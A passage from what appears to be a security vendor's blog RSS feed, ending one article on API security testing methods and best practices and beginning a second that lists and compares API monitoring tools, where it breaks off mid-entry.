&lt;u&gt;DAST tools&lt;/u&gt;&lt;/a&gt; that are not designed for API testing.&lt;/p&gt;&lt;p&gt;Running a dynamic API security test simulates a real API-based attack, revealing vulnerabilities stemming from both open-source dependencies and your team&amp;#39;s code. Ideally, for the most robust API security testing, you should combine dynamic testing with SAST and SCA. However, if you&amp;#39;re seeking an effective initial step to begin securing your APIs, dynamic testing is the recommended approach.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Static API Security Tests&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Static Application Security Testing tools analyze an application&amp;#39;s source code to pinpoint potential vulnerabilities. These tools scrutinize the code for patterns that may indicate security risks. Being language-specific, SAST tools require a match with the programming language used to write your API. To ensure effective analysis, you must select a static analysis tool that is compatible with the language of your API.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Software Composition Analysis&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Software Composition Analysis tools look at the dependency tree of your application and match this against a database of known vulnerabilities. By using these tools, you would be alerted to any known vulnerabilities in libraries or frameworks that your application or API utilizes. With the ever-increasing use of open source in API development, these tools are essential to include in security testing. The limitations of SCA tools are that (1) they typically do not indicate whether a detected vulnerability is actually exploitable within your API, and (2) they focus solely on identifying vulnerabilities in open-source components, overlooking security flaws that your team might have introduced.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;API Security Testing Best Practices&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API security testing best practices focus on following established standards, staying updated on emerging threats, and maintaining continuous vigilance through monitoring and retesting.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Adhering to Industry Standards&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;To secure APIs effectively, organizations should follow established guidelines like the OWASP API Security Top 10. These standards offer a comprehensive list of common vulnerabilities, such as&lt;a href=&quot;https://www.stackhawk.com/blog/understanding-and-protecting-against-api1-broken-object-level-authorization/&quot;&gt; &lt;u&gt;broken object-level authorization&lt;/u&gt;&lt;/a&gt; and improper authentication. By aligning with these guidelines, teams can implement proactive security measures and mitigate potential threats early.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Staying Updated on Evolving Threats&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The API threat landscape is constantly evolving, requiring development and security teams to stay informed about new vulnerabilities and security practices. Regular updates and patches are essential to prevent attackers from exploiting known issues and to maintain robust security.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Continuous Monitoring and Retesting&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;API security doesn’t end with deployment. Continuous monitoring for vulnerabilities, combined with periodic retesting, ensures that newly introduced weaknesses are swiftly addressed. This ongoing vigilance is crucial in dynamic environments where APIs are frequently updated and integrated with other systems, helping organizations maintain a strong security posture over time.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Implementing Strong Authentication and Authorization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Ensuring that only authenticated and authorized users can access API resources is critical. Best practices include using OAuth or similar industry-standard protocols for managing authentication, along with role-based access control (RBAC) to enforce authorization rules.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Securing Data in Transit and at Rest&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;To guard against data interception or tampering, it is crucial to ensure API communication is secure by encrypting data both during transmission and while stored. Use Transport Layer Security (TLS) for encrypting API traffic, and apply encryption to sensitive data in databases, thus preventing unauthorized access.&lt;/p&gt;&lt;hr/&gt;&lt;p&gt;By following these best practices, organizations can significantly reduce the risk of&lt;a href=&quot;https://www.stackhawk.com/blog/6-serious-api-security-vulnerabilities-and-how-to-fix-them/&quot;&gt; &lt;u&gt;API vulnerabilities&lt;/u&gt;&lt;/a&gt; and ensure secure API management throughout the development lifecycle.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Essential API Security Testing Tools&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API security testing relies on a mix of automated and manual tools to ensure comprehensive coverage. Automated tools, such as API security testing platforms, streamline the process by integrating into DevOps pipelines, allowing for consistent testing and faster feedback. These platforms often include capabilities for detecting common vulnerabilities and automating fixes. Notable platforms discussed in recent reviews include tools like StackHawk, Postman, and Swagger.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Manual Testing Tools&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;On the manual side, tools like&lt;a href=&quot;https://portswigger.net/burp&quot;&gt; &lt;u&gt;Burp Suite&lt;/u&gt;&lt;/a&gt; offer deeper, hands-on analysis. These tools allow both security professionals and engineers to perform penetration tests, actively probing APIs for vulnerabilities that automated tools might overlook. For instance, &lt;b&gt;Burp Suite&lt;/b&gt; is praised for its extensive features for manual testing and its ability to integrate with automated processes.&lt;/p&gt;&lt;hr/&gt;&lt;p&gt;For more details, the&lt;a href=&quot;https://www.stackhawk.com/blog/top-10-api-tools-for-testing-in-2024/&quot;&gt; &lt;u&gt;Top 10 API Testing Tools&lt;/u&gt;&lt;/a&gt; emphasizes how integrating both automated and manual tools ensures robust API security. Additionally,&lt;a href=&quot;https://www.stackhawk.com/blog/top-8-dynamic-application-security-tools-of-2024/&quot;&gt; &lt;u&gt;Dynamic Application Security Tools&lt;/u&gt;&lt;/a&gt; and&lt;a href=&quot;https://www.stackhawk.com/blog/discover-the-best-api-discovery-tools-in-2024/&quot;&gt; &lt;u&gt;API Discovery Tools&lt;/u&gt;&lt;/a&gt; are essential for covering gaps, providing a complete toolkit for effective API testing and security management.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;API Security Testing Automation with StackHawk&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API security testing automation involves using tools like&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt; &lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; to perform security testing and streamline the identification of vulnerabilities. StackHawk is designed for seamless integration into the CI/CD pipeline, making it easy to catch API security issues early in the development process. By automating the testing process, StackHawk continuously scans APIs for potential vulnerabilities, such as authentication flaws or data exposure, and provides actionable insights for developers to fix issues quickly.&lt;/p&gt;&lt;p&gt;Although StackHawk simplifies the security process, it is essential to complement automated testing with manual checks for complex vulnerabilities. Automated testing reduces human error, ensuring consistent, repeatable tests with every API update, which ultimately enhances the overall security posture. By using StackHawk’s automation, teams can efficiently incorporate security into their DevOps workflow and maintain a higher level of security throughout the API lifecycle.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Specialized API Security Testing Scenarios&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Specialized API security testing focuses on ensuring that critical mechanisms within the API are secure, including authentication, authorization, input validation, and error handling.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Authentication and Authorization&lt;/b&gt;: Testing these mechanisms is essential to ensure that only legitimate users can access the API and that users have the correct permissions. Misconfigured authentication can expose sensitive data or functionality to unauthorized users.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Input Validation&lt;/b&gt;: Proper input validation prevents injection attacks such as&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt; &lt;u&gt;SQL injection&lt;/u&gt;&lt;/a&gt; and ensures that data integrity is maintained. APIs must validate all input to prevent attackers from sending malicious data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Error Handling&lt;/b&gt;: It’s crucial to test error handling to prevent information disclosure vulnerabilities. Poorly handled errors can reveal sensitive system information, which attackers can exploit to discover weaknesses in the API.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;By focusing on these specialized testing scenarios, API security can be significantly strengthened, protecting critical application components from various attack vectors.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API security testing is crucial for protecting sensitive data and ensuring the integrity of your applications. By performing security testing, following best practices, utilizing essential tools, and incorporating automation, organizations can strengthen the security of their APIs. However, security testing is an ongoing process, requiring continuous monitoring and retesting to stay ahead of emerging threats.&lt;/p&gt;&lt;p&gt;To make API security testing more efficient and proactive, consider using &lt;b&gt;StackHawk&lt;/b&gt;. StackHawk offers automated API security testing that integrates directly into your CI/CD pipeline, helping you catch vulnerabilities early.&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt; &lt;u&gt;Learn more about StackHawk&lt;/u&gt;&lt;/a&gt; and start securing your APIs today.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[The Best API Monitoring Tools to Enhance Your Application Performance and Security]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/the-best-api-monitoring-tools-to-enhance-your-application-performance-and-security</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Matt Tanner]]></dc:creator><content:encoded>&lt;p&gt;Just like any core piece of your application and architecture, APIs require a specific set of tools to ensure they are running smoothly. The main part of this tool set is&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-vs-api-security-monitoring/&quot;&gt; &lt;u&gt;API monitoring&lt;/u&gt;&lt;/a&gt; tools, which can help ensure that APIs are performant and detect potential issues, including runtime security issues.&lt;/p&gt;&lt;p&gt;In this blog, we will look at 15 of the most popular API monitoring tools. However, before we dive into some of the specific tools you might deploy for API monitoring, we should answer the obvious question - what even IS API monitoring in the first place?&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is API Monitoring?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API monitoring is the process of gathering data, visualizing it, and building alerts and functionality based on the telemetry data reported from an API (or Application Programming Interface). This process ensures that API requests are handled as expected, allowing for the generation of infrastructure metrics, real user monitoring, integration tests, and much more.&lt;/p&gt;&lt;p&gt;There&amp;#39;s a few obvious benefits of API monitoring - notably an increase in the visibility of the entire platform. But beyond the immediate benefits, there are some not-so obvious tack-on benefits that really make this process worthwhile.&lt;/p&gt;&lt;p&gt;First and foremost, API monitoring plays an important role in helping teams surface API-related issues, such as errors, issues with latency, and security vulnerabilities, before they become a more significant problem and negatively impact services, partners, and customers.&lt;/p&gt;&lt;p&gt;Secondly, this process can point to symptomatic issues that may not directly affect your API but certainly impact your customers. An effective testing regime can surface issues with external APIs, integration system performance, security considerations with partner APIs, and even secondary platforms such as mobile app testing.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Key API Metrics to Monitor&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;It&amp;#39;s important to remember that the ultimate goal of API monitoring is to generate long-term or instant actionable insights - as such, the key metrics you track are going to play a huge role in the efficacy of the system, not to mention the API errors that you can actually track.&lt;/p&gt;&lt;p&gt;For the purposes of this guide, we&amp;#39;ve broken these metrics into some general categories. That being said, specific measurements beyond these fundamental metrics may be appropriate depending on your specific use case.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Uptime and Availability&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Uptime is a relatively fundamental metric in API monitoring, representing the average amount of time that a service has been live. This, combined with availability, or the average amount of time that a live service has been usable, represents strong metrics that point towards the health of a service.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s look at an example. A 99.999%, or &amp;quot;five nines&amp;quot; uptime, suggests that a service has been live for 99.999% of the time. A service that has been live 99% of the time, or &amp;quot;two nine&amp;#39;s&amp;quot;, has only been live 99% of the time.&lt;/p&gt;&lt;p&gt;That might seem like a small difference, but if you do the math, it certainly adds up - a &amp;quot;five nine&amp;#39;s&amp;quot; service means that across the 8,760 hours in a year, a service was available for 8759.9 hours. For a &amp;quot;two nine&amp;#39;s&amp;quot; service, it was only available for 8672.4 hours, meaning it was down for 87.6 hours, or almost 3 and a half days.&lt;/p&gt;&lt;p&gt;Availability and uptime monitoring can be done across a whole service or specifically focused on a given API endpoint for granularity. High API uptime and availability of the whole service point towards a healthy codebase and operational environment.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Response Time and Latency&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Response time is the time it takes for an API to process a request and return the response to the requesting client. This value is a relatively good estimate of the state of the network between the server and the client, but it can be affected by many internal factors. Latency is a good metric to pair with this, as it reflects the delay between the request and the response and is very much focused on the internal state of the service.&lt;/p&gt;&lt;p&gt;In context, these two give a great view of the health of the service as well as the general health of the environment in which it operates, the network timing data, and even potential client faults or delay with multiple requests. Specific browser tests can then be deployed to find if these issues are universal or specific to a given build or interface, increasing awareness and giving options for improvement.&lt;/p&gt;&lt;p&gt;Minimizing latency and response time ultimately results in better performance for the end user, and when you use the proper methodologies - such as caching, geolocating resources closer to clients in cloud-based systems, optimizing API transactions, etc. - this ultimately results in significantly optimizing application performance.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Resource Usage&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Another huge data source has to do with your resource usage. This usage includes the use of things like network bandwidth as well as local resources such as memory and CPU utilization. These metrics will help you understand how efficient your system is, and in the context of the size of the system and the number of third-party APIs or integrations, can also help you understand whether the issue arises from your API calls, your API functionality, or something further down the pipeline like the network standards or transit environment.&lt;/p&gt;&lt;p&gt;A lot of this data can be sourced at the same time that you&amp;#39;re doing your infrastructure monitoring, as they&amp;#39;re often part and parcel with one another. High CPU usage can have a huge impact on latency, for example, as it suggests that your system is either not adequately resources or that it is inefficiently designed.&lt;/p&gt;&lt;p&gt;These performance monitors can give you an idea of proper scalability as well, pointing both towards general inefficiencies as well as potential for improvement to server resourcing.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;15 API Monitoring Tools&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;With all of this understood, let&amp;#39;s look at 15 common tools for monitoring APIs.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;1 - Postman API Monitoring&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Provider&lt;/b&gt;: Postman&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Summary&lt;/b&gt;: As part of their popular API toolset, Postman offers a relatively comprehensive system for testing and monitoring at scale. It&amp;#39;s a relatively strong solution, offering real-time alerting and a decently easy setup process, but it&amp;#39;s most ideal for those already utilizing Postman for API development.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Pros&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Easy to integrate with Postman workflows&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Strong real-time alerting solution&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Decently simple setup means you can get started quickly&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Cons&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Offers little in the way of advanced monitoring&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Better suited for people already utilizing Postman - it&amp;#39;s less strong a solution for those not in that ecosystem&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;2 - New Relic One&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Provider&lt;/b&gt;: New Relic&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Summary&lt;/b&gt;: New Relic One is a relatively comprehensive platform for monitoring and observability, offering real-time performance monitoring for real-time insights. It’s highly customizable and integrates well with multiple services, though it may require a learning curve for optimal use.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Pros&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;New Relic One is a comprehensive monitoring suite&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Offers high-value, real-time data&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Offers a ton of options for integration with different services&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Cons&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Can be expensive, especially depending on the complexity of your backend&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Can be very complex to set up initially&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;3 - Datadog API Monitoring&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Provider&lt;/b&gt;: Datadog&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Summary&lt;/b&gt;: Datadog’s API monitoring provides a full view of distributed systems, allowing you to set custom alerts and track performance across a varied environment. Its dashboard is flexible and detailed, though usage-based pricing may make it costly for high-demand environments.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Pros&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Excellent for distributed systems&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Highly customizable alerts make it easy to track specific metrics&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;A flexible dashboard allows anyone to generate insights with relative ease&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Cons&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Pricing is based on usage, which can be costly&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;While it&amp;#39;s easy to get started, it has a steep learning curve to really get the most out of the service&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;4 - Uptrends&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Provider&lt;/b&gt;: Uptrends&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Summary&lt;/b&gt;: Uptrends offers uptime monitoring and performance tracking with a well-featured tool set. It includes features like browser emulation, allowing you to test a wide variety of environments and client use cases. It’s a good choice for some specific criteria, though customization options for API requests are somewhat limited.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Pros&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;User-friendly interface that is easy to get started with&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Reliable uptime and performance checks&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Browser simulation unlocks a ton of variable testing and monitoring options&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Cons&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Limited API request customizations&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Can be costly if you end up using the complete feature set&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;5 - APImetrics&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Provider&lt;/b&gt;: APImetrics&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Summary&lt;/b&gt;: APImetrics is a specialized API monitoring tool offering SLA compliance tracking and multi-region testing. It provides deep analytics, and is especially useful for monitoring SLAs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Pros&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Comprehensive analytics system with multi-region testing&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Very effective SLA compliance tracking&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Cons&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;UI is somewhat unintuitive&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;APImetrics doesn&amp;#39;t offer as complete a set of integration options&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;6 - Runscope&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Provider&lt;/b&gt;: CA Technologies&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Summary&lt;/b&gt;: Runscope excels at debugging and tracking HTTP requests, making it ideal for tracking API performance across the network. However, advanced monitoring features are limited, and it can be costly for larger teams.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Pros&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Great for debugging and efficiency hunting&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Allows HTTP request/response tracking&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Designed with team collaboration in mind&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Cons&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Limited advanced features beyond the collaborative tooling&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;This collaborative tooling comes at a high cost, which can be prohibitive for large teams&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;7 - Prometheus&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Provider&lt;/b&gt;: Cloud Native Computing Foundation&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Summary&lt;/b&gt;: Prometheus is an open-source, customizable tool designed specifically for time-series data. It’s relatively popular among developers who need high flexibility, though it requires significant setup expertise and isn’t as user-friendly as other options on the market.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Pros&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;An open-source tool, which makes it highly customizable and cheap to utilize&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Great specifically for time-series-centric data&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Cons&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Relatively difficult to get set up, as there&amp;#39;s no product bundling common with enterprise software offerings&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Not as user-friendly as the plug-n-play solutions on this list&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;8 - API Fortress&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Provider&lt;/b&gt;: API Fortress&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Summary&lt;/b&gt;: This tool offers a no-code setup and strong integration options, making it accessible for teams without extensive coding knowledge. API Fortress is very particular in terms of its design and workflow, however, and the UI can be challenging for new users.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Pros&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;API Fortress offers a ton of options for integration&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The load testing tooling is pretty feature-rich&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;No-code automation brings the benefits of automation to teams that might not otherwise have that skillset&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Cons&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;The UI can, at times, be overwhelming, making it hard to track essential metrics without prior experience&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;9 - Kong Enterprise&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Provider&lt;/b&gt;: Kong Inc.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Summary&lt;/b&gt;: Kong provides API gateway and management services with additional built-in tooling for API monitoring. It’s well-suited for enterprise environments, but it might be too complex for smaller teams, less complex services, and beginners just starting their development journey.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Pros&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Since Kong is a feature set rather than a single tool, it has a ton of key features that make gathering performance data, managing multiple locations, and monitoring API calls relatively easy&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;It&amp;#39;s highly customizable for a variety of environments and use cases&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Cons&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Although you may not be ready to buy wholesale into the Kong ecosystem, the management services are bundled together, introducing excess cost and management&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;You can do a lot with Kong, but to really get optimal performance out of it, you need significant prior technical knowledge&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;10 - AWS CloudWatch&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Provider&lt;/b&gt;: Amazon Web Services&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Summary&lt;/b&gt;: AWS CloudWatch is specifically designed for AWS users to generate detailed performance metrics across their deployment, offering customizable alerts and deep context. It&amp;#39;s not beginner-friendly, however, and the focus on AWS - as well as the associated cost - can be a deal breaker.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Pros&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;This is by far the most seamless solution for AWS ecosystem APIs, providing granular data and customizable alerts across external and internal APIs&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Its log management solution is second to few, providing ample information alongside dedicated visualization tools&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Cons&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;CloudWatch is powerful, but this power comes with cost - both in terms of money and in terms of the expert knowledge required for its use&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;This is a solution that is plugged directly into the AWS world - Google Cloud APIs and other third-party solutions will find this less than useful&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;11 - Ghost Inspector&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Provider&lt;/b&gt;: Ghost Inspector&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Summary&lt;/b&gt;: Ghost Inspector is specifically designed for functional&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-rest-api-testing-tools-and-best-practices-for-success/&quot;&gt; &lt;u&gt;API testing&lt;/u&gt;&lt;/a&gt; and monitoring, focusing on browser-based visual regression tests. It’s easy to use but lacks in-depth API monitoring metrics outside of this niche use case.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Pros&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Great for functional API tests, browser-based tests, and regression tests, all of which are typically underserved by &amp;quot;one-stop shop&amp;quot; solutions&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Cons&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Limited advanced API monitoring metrics limit its API usage to basic awareness of API endpoints and specific types of tests&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;It does really well at a few things, but it&amp;#39;s not really a comprehensive API monitoring solution&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;12 - Catchpoint&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Provider&lt;/b&gt;: Catchpoint&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Summary&lt;/b&gt;: Catchpoint is a tool that provides reliable global monitoring as well as detailed troubleshooting data. It’s a powerful tool, but it can rapidly become to expensive for small teams. It is also relatively complex to get up and running, which can be a blocker for all but the most experienced 